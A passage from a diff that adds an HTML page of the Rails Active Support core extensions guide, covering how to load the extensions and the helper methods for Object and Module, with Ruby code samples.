href="#reachable">Reachable</a></li> <li><a href="#anonymous">Anonymous</a></li> <li><a href="#method-delegation">Method Delegation</a></li> <li><a href="#method-names">Method Names</a></li> <li><a href="#redefining-methods">Redefining Methods</a></li></ul></li><li><a href="#extensions-to-class">Extensions to <tt>Class</tt></a><ul><li><a href="#class-attributes">Class Attributes</a></li> <li><a href="#class-inheritable-attributes">Class Inheritable Attributes</a></li> <li><a href="#subclasses-descendants">Subclasses &amp; Descendants</a></li></ul></li><li><a href="#extensions-to-string">Extensions to <tt>String</tt></a><ul><li><a href="#output-safety">Output Safety</a></li> <li><a href="#squish"><tt>squish</tt></a></li> <li><a href="#truncate"><tt>truncate</tt></a></li> <li><a href="#key-based-interpolation">Key-based Interpolation</a></li> <li><a href="#starts_with-and-ends_width"><tt>starts_with?</tt> and <tt>ends_width?</tt></a></li> <li><a href="#strip_heredoc"><tt>strip_heredoc</tt></a></li> <li><a href="#access">Access</a></li> <li><a href="#inflections">Inflections</a></li> <li><a href="#string-conversions">Conversions</a></li></ul></li><li><a href="#extensions-to-numeric">Extensions to <tt>Numeric</tt></a><ul><li><a href="#bytes">Bytes</a></li></ul></li><li><a href="#extensions-to-integer">Extensions to <tt>Integer</tt></a><ul><li><a href="#multiple_of"><tt>multiple_of?</tt></a></li> <li><a href="#ordinalize"><tt>ordinalize</tt></a></li></ul></li><li><a href="#extensions-to-float">Extensions to <tt>Float</tt></a><ul><li><a href="#round"><tt>round</tt></a></li></ul></li><li><a href="#extensions-to-bigdecimal">Extensions to <tt>BigDecimal</tt></a></li><li><a href="#extensions-to-enumerable">Extensions to <tt>Enumerable</tt></a><ul><li><a href="#group_by"><tt>group_by</tt></a></li> <li><a href="#sum"><tt>sum</tt></a></li> <li><a href="#each_with_object"><tt>each_with_object</tt></a></li> <li><a href="#index_by"><tt>index_by</tt></a></li> <li><a href="#many"><tt>many?</tt></a></li> <li><a href="#exclude"><tt>exclude?</tt></a></li></ul></li><li><a href="#extensions-to-array">Extensions to <tt>Array</tt></a><ul><li><a href="#accessing">Accessing</a></li> <li><a href="#random-access">Random Access</a></li> <li><a href="#options-extraction">Options Extraction</a></li> <li><a href="#array-conversions">Conversions</a></li> <li><a href="#wrapping">Wrapping</a></li> <li><a href="#grouping">Grouping</a></li></ul></li><li><a href="#extensions-to-hash">Extensions to <tt>Hash</tt></a><ul><li><a href="#hash-conversions">Conversions</a></li> <li><a href="#merging">Merging</a></li> <li><a href="#diffing">Diffing</a></li> <li><a href="#working-with-keys">Working with Keys</a></li> <li><a href="#slicing">Slicing</a></li> <li><a href="#indifferent-access">Indifferent Access</a></li></ul></li><li><a href="#extensions-to-regexp">Extensions to <tt>Regexp</tt></a><ul><li><a href="#multiline"><tt>multiline?</tt></a></li></ul></li><li><a href="#extensions-to-range">Extensions to <tt>Range</tt></a><ul><li><a href="#to_s"><tt>to_s</tt></a></li> <li><a href="#step"><tt>step</tt></a></li> <li><a href="#include"><tt>include?</tt></a></li> <li><a href="#overlaps"><tt>overlaps?</tt></a></li></ul></li><li><a href="#extensions-to-proc">Extensions to <tt>Proc</tt></a><ul><li><a href="#bind"><tt>bind</tt></a></li></ul></li><li><a href="#extensions-to-date">Extensions to <tt>Date</tt></a><ul><li><a href="#calculations">Calculations</a></li> <li><a href="#date-conversions">Conversions</a></li></ul></li><li><a href="#extensions-to-datetime">Extensions to <tt>DateTime</tt></a><ul><li><a href="#calculations-datetime">Calculations</a></li></ul></li><li><a href="#extensions-to-time">Extensions to <tt>Time</tt></a><ul><li><a href="#time-calculations">Calculations</a></li> <li><a href="#time-constructors">Time Constructors</a></li></ul></li><li><a href="#extensions-to-process">Extensions to <tt>Process</tt></a><ul><li><a href="#daemon"><tt>daemon</tt></a></li></ul></li><li><a href="#extensions-to-file">Extensions to <tt>File</tt></a><ul><li><a href="#atomic_write"><tt>atomic_write</tt></a></li></ul></li><li><a href="#extensions-to-nameerror">Extensions to <tt>NameError</tt></a></li><li><a href="#extensions-to-loaderror">Extensions to <tt>LoadError</tt></a></li><li><a href="#changelog">Changelog</a></li></ol></div>
+    </div>
+  </div>
+
+  <div id="container">
+    <div class="wrapper">
+      <div id="mainCol">
+        <h3 id="how-to-load-core-extensions">1 How to Load Core Extensions</h3>
+<h4 id="stand-alone-active-support">1.1 Stand-Alone Active Support</h4>
+<p>In order to have a near zero default footprint, Active Support does not load anything by default. It is broken in small pieces so that you may load just what you need, and also has some convenience entry points to load related extensions in one shot, even everything.</p>
+<p>Thus, after a simple require like:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support'
+</pre>
+</div>
+</notextile>
+
+<p>objects do not even respond to <tt>blank?</tt>, let&#8217;s see how to load its definition.</p>
+<h5 id="cherry-picking-a-definition">1.1.1 Cherry-picking a Definition</h5>
+<p>The most lightweight way to get <tt>blank?</tt> is to cherry-pick the file that defines it.</p>
+<p>For every single method defined as a core extension this guide has a note that says where such a method is defined. In the case of <tt>blank?</tt> the note reads:</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/blank.rb</tt>.</p></div>
+<p>That means that this single call is enough:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/core_ext/object/blank'
+</pre>
+</div>
+</notextile>
+
+<p>Active Support has been carefully revised so that cherry-picking a file loads only strictly needed dependencies, if any.</p>
+<h5 id="loading-grouped-core-extensions">1.1.2 Loading Grouped Core Extensions</h5>
+<p>The next level is to simply load all extensions to <tt>Object</tt>. As a rule of thumb, extensions to <tt>SomeClass</tt> are available in one shot by loading <tt>active_support/core_ext/some_class</tt>.</p>
+<p>Thus, if that would do, to have <tt>blank?</tt> available we could just load all extensions to <tt>Object</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/core_ext/object'
+</pre>
+</div>
+</notextile>
+
+<h5 id="loading-all-core-extensions">1.1.3 Loading All Core Extensions</h5>
+<p>You may prefer just to load all core extensions, there is a file for that:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/core_ext'
+</pre>
+</div>
+</notextile>
+
+<h5 id="loading-all-active-support">1.1.4 Loading All Active Support</h5>
+<p>And finally, if you want to have all Active Support available just issue:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require 'active_support/all'
+</pre>
+</div>
+</notextile>
+
+<p>That does not even put the entire Active Support in memory upfront indeed, some stuff is configured via <tt>autoload</tt>, so it is only loaded if used.</p>
+<h4 id="active-support-within-a-ruby-on-rails-application">1.2 Active Support Within a Ruby on Rails Application</h4>
+<p>A Ruby on Rails application loads all Active Support unless <tt>config.active_support.bare</tt> is true. In that case, the application will only load what the framework itself cherry-picks for its own needs, and can still cherry-pick itself at any granularity level, as explained in the previous section.</p>
+<h3 id="extensions-to-all-objects">2 Extensions to All Objects</h3>
+<h4 id="blank-and-present">2.1 <tt>blank?</tt> and <tt>present?</tt></h4>
+<p>The following values are considered to be blank in a Rails application:</p>
+<ul>
+	<li><tt>nil</tt> and <tt>false</tt>,</li>
+</ul>
+<ul>
+	<li>strings composed only of whitespace, i.e. matching <tt>/\A\s*\z/</tt>,</li>
+</ul>
+<ul>
+	<li>empty arrays and hashes, and</li>
+</ul>
+<ul>
+	<li>any other object that responds to <tt>empty?</tt> and it is empty.</li>
+</ul>
+<div class='warning'><p>Note that numbers are not mentioned, in particular 0 and 0.0 are <strong>not</strong> blank.</p></div>
+<p>For example, this method from <tt>ActionDispatch::Session::AbstractStore</tt> uses <tt>blank?</tt> for checking whether a session key is present:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def ensure_session_key!
+  if @key.blank?
+    raise ArgumentError, 'A key is required...'
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>present?</tt> is equivalent to <tt>!blank?</tt>. This example is taken from <tt>ActionDispatch::Http::Cache::Response</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def set_conditional_cache_control!
+  return if self[&quot;Cache-Control&quot;].present?
+  ...
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/blank.rb</tt>.</p></div>
+<h4 id="presence">2.2 <tt>presence</tt></h4>
+<p>The <tt>presence</tt> method returns its receiver if <tt>present?</tt>, and <tt>nil</tt> otherwise. It is useful for idioms like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+host = config[:host].presence || 'localhost'
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/blank.rb</tt>.</p></div>
+<h4 id="duplicable">2.3 <tt>duplicable?</tt></h4>
+<p>A few fundamental objects in Ruby are singletons. For example, in the whole life of a program the integer 1 refers always to the same instance:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+1.object_id                 # =&gt; 3
+Math.cos(0).to_i.object_id  # =&gt; 3
+</pre>
+</div>
+</notextile>
+
+<p>Hence, there&#8217;s no way these objects can be duplicated through <tt>dup</tt> or <tt>clone</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+true.dup  # =&gt; TypeError: can't dup TrueClass
+</pre>
+</div>
+</notextile>
+
+<p>Some numbers which are not singletons are not duplicable either:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+0.0.clone        # =&gt; allocator undefined for Float
+(2**1024).clone  # =&gt; allocator undefined for Bignum
+</pre>
+</div>
+</notextile>
+
+<p>Active Support provides <tt>duplicable?</tt> to programmatically query an object about this property:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;&quot;.duplicable?     # =&gt; true
+false.duplicable?  # =&gt; false
+</pre>
+</div>
+</notextile>
+
+<p>By definition all objects are <tt>duplicable?</tt> except <tt>nil</tt>, <tt>false</tt>, <tt>true</tt>, symbols, numbers, and class and module objects.</p>
+<div class='warning'><p>Any class can disallow duplication removing <tt>dup</tt> and <tt>clone</tt> or raising exceptions from them, only <tt>rescue</tt> can tell whether a given arbitrary object is duplicable. <tt>duplicable?</tt> depends on the hard-coded list above, but it is much faster than <tt>rescue</tt>. Use it only if you know the hard-coded list is enough in your use case.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/duplicable.rb</tt>.</p></div>
+<h4 id="try">2.4 <tt>try</tt></h4>
+<p>Sometimes you want to call a method provided the receiver object is not <tt>nil</tt>, which is something you usually check first. <tt>try</tt> is like <tt>Object#send</tt> except that it returns <tt>nil</tt> if sent to <tt>nil</tt>.</p>
+<p>For instance, in this code from <tt>ActiveRecord::ConnectionAdapters::AbstractAdapter</tt> <tt>@logger</tt> could be <tt>nil</tt>, but you save the check and write in an optimistic style:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def log_info(sql, name, ms)
+  if @logger.try(:debug?)
+    name = '%s (%.1fms)' % [name || 'SQL', ms]
+    @logger.debug(format_log_entry(name, sql.squeeze(' ')))
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/try.rb</tt>.</p></div>
+<h4 id="singleton_class">2.5 <tt>singleton_class</tt></h4>
+<p>The method <tt>singleton_class</tt> returns the singleton class of the receiver:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+String.singleton_class     # =&gt; #&lt;Class:String&gt;
+String.new.singleton_class # =&gt; #&lt;Class:#&lt;String:0x17a1d1c&gt;&gt;
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Fixnums and symbols have no singleton classes, <tt>singleton_class</tt> raises <tt>TypeError</tt> on them. Moreover, the singleton classes of <tt>nil</tt>, <tt>true</tt>, and <tt>false</tt>, are <tt>NilClass</tt>, <tt>TrueClass</tt>, and <tt>FalseClass</tt>, respectively.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/kernel/singleton_class.rb</tt>.</p></div>
+<h4 id="class_eval-args-block">2.6 <tt>class_eval(*args, &block)</tt></h4>
+<p>You can evaluate code in the context of any object&#8217;s singleton class using <tt>class_eval</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Proc
+  def bind(object)
+    block, time = self, Time.now
+    object.class_eval do
+      method_name = &quot;__bind_#{time.to_i}_#{time.usec}&quot;
+      define_method(method_name, &amp;block)
+      method = instance_method(method_name)
+      remove_method(method_name)
+      method
+    end.bind(object)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/kernel/singleton_class.rb</tt>.</p></div>
+<h4 id="acts_like-duck">2.7 <tt>acts_like?(duck)</tt></h4>
+<p>The method <tt>acts_like</tt> provides a way to check whether some class acts like some other class based on a simple convention: a class that provides the same interface as <tt>String</tt> defines</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+def acts_like_string?
+end
+</pre>
+</div>
+</notextile>
+
+<p>which is only a marker, its body or return value are irrelevant. Then, client code can query for duck-type-safeness this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+some_klass.acts_like?(:string)
+</pre>
+</div>
+</notextile>
+
+<p>Rails has classes that act like <tt>Date</tt> or <tt>Time</tt> and follow this contract.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/acts_like.rb</tt>.</p></div>
+<h4 id="to_param">2.8 <tt>to_param</tt></h4>
+<p>All objects in Rails respond to the method <tt>to_param</tt>, which is meant to return something that represents them as values in a query string, or as <span class="caps">URL</span> fragments.</p>
+<p>By default <tt>to_param</tt> just calls <tt>to_s</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+7.to_param # =&gt; &quot;7&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The return value of <tt>to_param</tt> should <strong>not</strong> be escaped:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+&quot;Tom &amp; Jerry&quot;.to_param # =&gt; &quot;Tom &amp; Jerry&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Several classes in Rails overwrite this method.</p>
+<p>For example <tt>nil</tt>, <tt>true</tt>, and <tt>false</tt> return themselves. <tt>Array#to_param</tt> calls <tt>to_param</tt> on the elements and joins the result with &#8220;/&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[0, true, String].to_param # =&gt; &quot;0/true/String&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Notably, the Rails routing system calls <tt>to_param</tt> on models to get a value for the <tt>:id</tt> placeholder. <tt>ActiveRecord::Base#to_param</tt> returns the <tt>id</tt> of a model, but you can redefine that method in your models. For example, given</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User
+  def to_param
+    &quot;#{id}-#{name.parameterize}&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>we get:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+user_path(@user) # =&gt; &quot;/users/357-john-smith&quot;
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>Controllers need to be aware of any redefinition of <tt>to_param</tt> because when a request like that comes in &#8220;357-john-smith&#8221; is the value of <tt>params[:id]</tt>.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/to_param.rb</tt>.</p></div>
+<h4 id="to_query">2.9 <tt>to_query</tt></h4>
+<p>Except for hashes, given an unescaped <tt>key</tt> this method constructs the part of a query string that would map such key to what <tt>to_param</tt> returns. For example, given</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User
+  def to_param
+    &quot;#{id}-#{name.parameterize}&quot;
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>we get:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+current_user.to_query('user') # =&gt; user=357-john-smith
+</pre>
+</div>
+</notextile>
+
+<p>This method escapes whatever is needed, both for the key and the value:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+account.to_query('company[name]')
+# =&gt; &quot;company%5Bname%5D=Johnson+%26+Johnson&quot;
+</pre>
+</div>
+</notextile>
+
+<p>so its output is ready to be used in a query string.</p>
+<p>Arrays return the result of applying <tt>to_query</tt> to each element with <tt><em>key</em>[]</tt> as key, and join the result with &#8220;&amp;&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+[3.4, -45.6].to_query('sample')
+# =&gt; &quot;sample%5B%5D=3.4&amp;sample%5B%5D=-45.6&quot;
+</pre>
+</div>
+</notextile>
+
+<p>Hashes also respond to <tt>to_query</tt> but with a different signature. If no argument is passed a call generates a sorted series of key/value assignments calling <tt>to_query(key)</tt> on its values. Then it joins the result with &#8220;&amp;&#8221;:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:c =&gt; 3, :b =&gt; 2, :a =&gt; 1}.to_query # =&gt; &quot;a=1&amp;b=2&amp;c=3&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>Hash#to_query</tt> accepts an optional namespace for the keys:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+{:id =&gt; 89, :name =&gt; &quot;John Smith&quot;}.to_query('user')
+# =&gt; &quot;user%5Bid%5D=89&amp;user%5Bname%5D=John+Smith&quot;
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/to_query.rb</tt>.</p></div>
+<h4 id="with_options">2.10 <tt>with_options</tt></h4>
+<p>The method <tt>with_options</tt> provides a way to factor out common options in a series of method calls.</p>
+<p>Given a default options hash, <tt>with_options</tt> yields a proxy object to a block. Within the block, methods called on the proxy are forwarded to the receiver with their options merged. For example, you get rid of the duplication in:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Account &lt; ActiveRecord::Base
+  has_many :customers, :dependent =&gt; :destroy
+  has_many :products,  :dependent =&gt; :destroy
+  has_many :invoices,  :dependent =&gt; :destroy
+  has_many :expenses,  :dependent =&gt; :destroy
+end
+</pre>
+</div>
+</notextile>
+
+<p>this way:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Account &lt; ActiveRecord::Base
+  with_options :dependent =&gt; :destroy do |assoc|
+    assoc.has_many :customers
+    assoc.has_many :products
+    assoc.has_many :invoices
+    assoc.has_many :expenses
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>That idiom may convey <em>grouping</em> to the reader as well. For example, say you want to send a newsletter whose language depends on the user. Somewhere in the mailer you could group locale-dependent bits like this:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+I18n.with_options :locale =&gt; user.locale, :scope =&gt; &quot;newsletter&quot; do |i18n|
+  subject i18n.t :subject
+  body    i18n.t :body, :user_name =&gt; user.name
+end
+</pre>
+</div>
+</notextile>
+
+<div class='info'><p>Since <tt>with_options</tt> forwards calls to its receiver they can be nested. Each nesting level will merge inherited defaults in addition to their own.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/with_options.rb</tt>.</p></div>
+<h4 id="instance-variables">2.11 Instance Variables</h4>
+<p>Active Support provides several methods to ease access to instance variables.</p>
+<h5 id="instance_variable_names">2.11.1 <tt>instance_variable_names</tt></h5>
+<p>Ruby 1.8 and 1.9 have a method called <tt>instance_variables</tt> that returns the names of the defined instance variables. But they behave differently, in 1.8 it returns strings whereas in 1.9 it returns symbols. Active Support defines <tt>instance_variable_names</tt> as a portable way to obtain them as strings:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_variable_names # =&gt; [&quot;@y&quot;, &quot;@x&quot;]
+</pre>
+</div>
+</notextile>
+
+<div class='warning'><p>The order in which the names are returned is unspecified, and it indeed depends on the version of the interpreter.</p></div>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/instance_variables.rb</tt>.</p></div>
+<h5 id="instance_values">2.11.2 <tt>instance_values</tt></h5>
+<p>The method <tt>instance_values</tt> returns a hash that maps instance variable names without &#8220;@&#8221; to their
+corresponding values. Keys are strings both in Ruby 1.8 and 1.9:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class C
+  def initialize(x, y)
+    @x, @y = x, y
+  end
+end
+
+C.new(0, 1).instance_values # =&gt; {&quot;x&quot; =&gt; 0, &quot;y&quot; =&gt; 1}
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/instance_variables.rb</tt>.</p></div>
+<h5 id="copy_instance_variables_from-object-exclude">2.11.3 <tt>copy_instance_variables_from(object, exclude = [])</tt></h5>
+<p>Copies the instance variables of <tt>object</tt> into <tt>self</tt>.</p>
+<p>Instance variable names in the <tt>exclude</tt> array are ignored. If <tt>object</tt>
+responds to <tt>protected_instance_variables</tt> the ones returned are
+also ignored. For example, Rails controllers implement that method.</p>
+<p>In both arrays strings and symbols are understood, and they have to include
+the at sign.</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class C
+  def initialize(x, y, z)
+    @x, @y, @z = x, y, z
+  end
+
+  def protected_instance_variables
+    %w(@z)
+  end
+end
+
+a = C.new(0, 1, 2)
+b = C.new(3, 4, 5)
+
+a.copy_instance_variables_from(b, [:@y])
+# a is now: @x = 3, @y = 1, @z = 2
+</pre>
+</div>
+</notextile>
+
+<p>In the example <tt>object</tt> and <tt>self</tt> are of the same type, but they don&#8217;t need to.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/object/instance_variables.rb</tt>.</p></div>
+<h4 id="silencing-warnings-streams-and-exceptions">2.12 Silencing Warnings, Streams, and Exceptions</h4>
+<p>The methods <tt>silence_warnings</tt> and <tt>enable_warnings</tt> change the value of <tt>$VERBOSE</tt> accordingly for the duration of their block, and reset it afterwards:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+silence_warnings { Object.const_set &quot;RAILS_DEFAULT_LOGGER&quot;, logger }
+</pre>
+</div>
+</notextile>
+
+<p>You can silence any stream while a block runs with <tt>silence_stream</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+silence_stream(STDOUT) do
+  # STDOUT is silent here
+end
+</pre>
+</div>
+</notextile>
+
+<p>Silencing exceptions is also possible with <tt>suppress</tt>. This method receives an arbitrary number of exception classes. If an exception is raised during the execution of the block and is <tt>kind_of?</tt> any of the arguments, <tt>suppress</tt> captures it and returns silently. Otherwise the exception is reraised:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# If the user is locked the increment is lost, no big deal.
+suppress(ActiveRecord::StaleObjectError) do
+  current_user.increment! :visits
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/kernel/reporting.rb</tt>.</p></div>
+<h4 id="require_library_or_gem">2.13 <tt>require_library_or_gem</tt></h4>
+<p>The convenience method <tt>require_library_or_gem</tt> tries to load its argument with a regular <tt>require</tt> first. If it fails loads <tt>rubygems</tt> and tries again.</p>
+<p>If the first attempt is a failure and <tt>rubygems</tt> can&#8217;t be loaded the method raises <tt>LoadError</tt>. On the other hand, if <tt>rubygems</tt> is available but the argument is not loadable as a gem, the method gives up and <tt>LoadError</tt> is also raised.</p>
+<p>For example, that&#8217;s the way the MySQL adapter loads the MySQL library:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+require_library_or_gem('mysql')
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/kernel/requires.rb</tt>.</p></div>
+<h3 id="extensions-to-module">3 Extensions to <tt>Module</tt></h3>
+<h4 id="alias_method_chain">3.1 <tt>alias_method_chain</tt></h4>
+<p>Using plain Ruby you can wrap methods with other methods, that&#8217;s called <em>alias chaining</em>.</p>
+<p>For example, let&#8217;s say you&#8217;d like params to be strings in functional tests, as they are in real requests, but still want the convenience of assigning integers and other kind of values. To accomplish that you could wrap <tt>ActionController::TestCase#process</tt> this way in <tt>test/test_helper.rb</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::TestCase.class_eval do
+  # save a reference to the original process method
+  alias_method :original_process, :process
+
+  # now redefine process and delegate to original_process
+  def process(action, params=nil, session=nil, flash=nil, http_method='GET')
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    original_process(action, params, session, flash, http_method)
+  end
+end
+</pre>
+</div>
+</notextile>
+
+<p>That&#8217;s the method <tt>get</tt>, <tt>post</tt>, etc., delegate the work to.</p>
+<p>That technique has a risk, it could be the case that <tt>:original_process</tt> was taken. To try to avoid collisions people choose some label that characterizes what the chaining is about:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method :process_without_stringified_params, :process
+  alias_method :process, :process_with_stringified_params
+end
+</pre>
+</div>
+</notextile>
+
+<p>The method <tt>alias_method_chain</tt> provides a shortcut for that pattern:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+ActionController::TestCase.class_eval do
+  def process_with_stringified_params(...)
+    params = Hash[*params.map {|k, v| [k, v.to_s]}.flatten]
+    process_without_stringified_params(action, params, session, flash, http_method)
+  end
+  alias_method_chain :process, :stringified_params
+end
+</pre>
+</div>
+</notextile>
+
+<p>Rails uses <tt>alias_method_chain</tt> all over the code base. For example validations are added to <tt>ActiveRecord::Base#save</tt> by wrapping the method that way in a separate module specialised in validations.</p>
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/aliasing.rb</tt>.</p></div>
+<h4 id="attributes">3.2 Attributes</h4>
+<h5 id="alias_attribute">3.2.1 <tt>alias_attribute</tt></h5>
+<p>Model attributes have a reader, a writer, and a predicate. You can aliase a model attribute having the corresponding three methods defined for you in one shot. As in other aliasing methods, the new name is the first argument, and the old name is the second (my mnemonic is they go in the same order as if you did an assignment):</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User &lt; ActiveRecord::Base
+  # let me refer to the email column as &quot;login&quot;,
+  # much meaningful for authentication code
+  alias_attribute :login, :email
+end
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/aliasing.rb</tt>.</p></div>
+<h5 id="attr_accessor_with_default">3.2.2 <tt>attr_accessor_with_default</tt></h5>
+<p>The method <tt>attr_accessor_with_default</tt> serves the same purpose as the Ruby macro <tt>attr_accessor</tt> but allows you to set a default value for the attribute:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class Url
+  attr_accessor_with_default :port, 80
+end
+
+Url.new.port # =&gt; 80
+</pre>
+</div>
+</notextile>
+
+<p>The default value can be also specified with a block, which is called in the context of the corresponding object:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+class User
+  attr_accessor :name, :surname
+  attr_accessor_with_default(:full_name) {
+	[name, surname].compact.join(&quot; &quot;)
+  }
+end
+
+u = User.new
+u.name = 'Xavier'
+u.surname = 'Noria'
+u.full_name # =&gt; &quot;Xavier Noria&quot;
+</pre>
+</div>
+</notextile>
+
+<p>The result is not cached, the block is invoked in each call to the reader.</p>
+<p>You can overwrite the default with the writer:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+url = Url.new
+url.host # =&gt; 80
+url.host = 8080
+url.host # =&gt; 8080
+</pre>
+</div>
+</notextile>
+
+<p>The default value is returned as long as the attribute is unset. The reader does not rely on the value of the attribute to know whether it has to return the default. It rather monitors the writer: if there&#8217;s any assignment the value is no longer considered to be unset.</p>
+<p>Active Resource uses this macro to set a default value for the <tt>:primary_key</tt> attribute:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+attr_accessor_with_default :primary_key, 'id'
+</pre>
+</div>
+</notextile>
+
+<div class='note'><p>Defined in <tt>active_support/core_ext/module/attr_accessor_with_default.rb</tt>.</p></div>
+<h5 id="internal-attributes">3.2.3 Internal Attributes</h5>
+<p>When you are defining an attribute in a class that is meant to be subclassed name collisions are a risk. That&#8217;s remarkably important for libraries.</p>
+<p>Active Support defines the macros <tt>attr_internal_reader</tt>, <tt>attr_internal_writer</tt>, and <tt>attr_internal_accessor</tt>. They behave like their Ruby builtin <tt>attr_*</tt> counterparts, except they name the underlying instance variable in a way that makes collisions less likely.</p>
+<p>The macro <tt>attr_internal</tt> is a synonym for <tt>attr_internal_accessor</tt>:</p>
+<notextile>
+<div class="code_container">
+<pre class="brush: ruby; gutter: false; toolbar: false">
+# library
+class ThirdPartyLibrary::Crawler
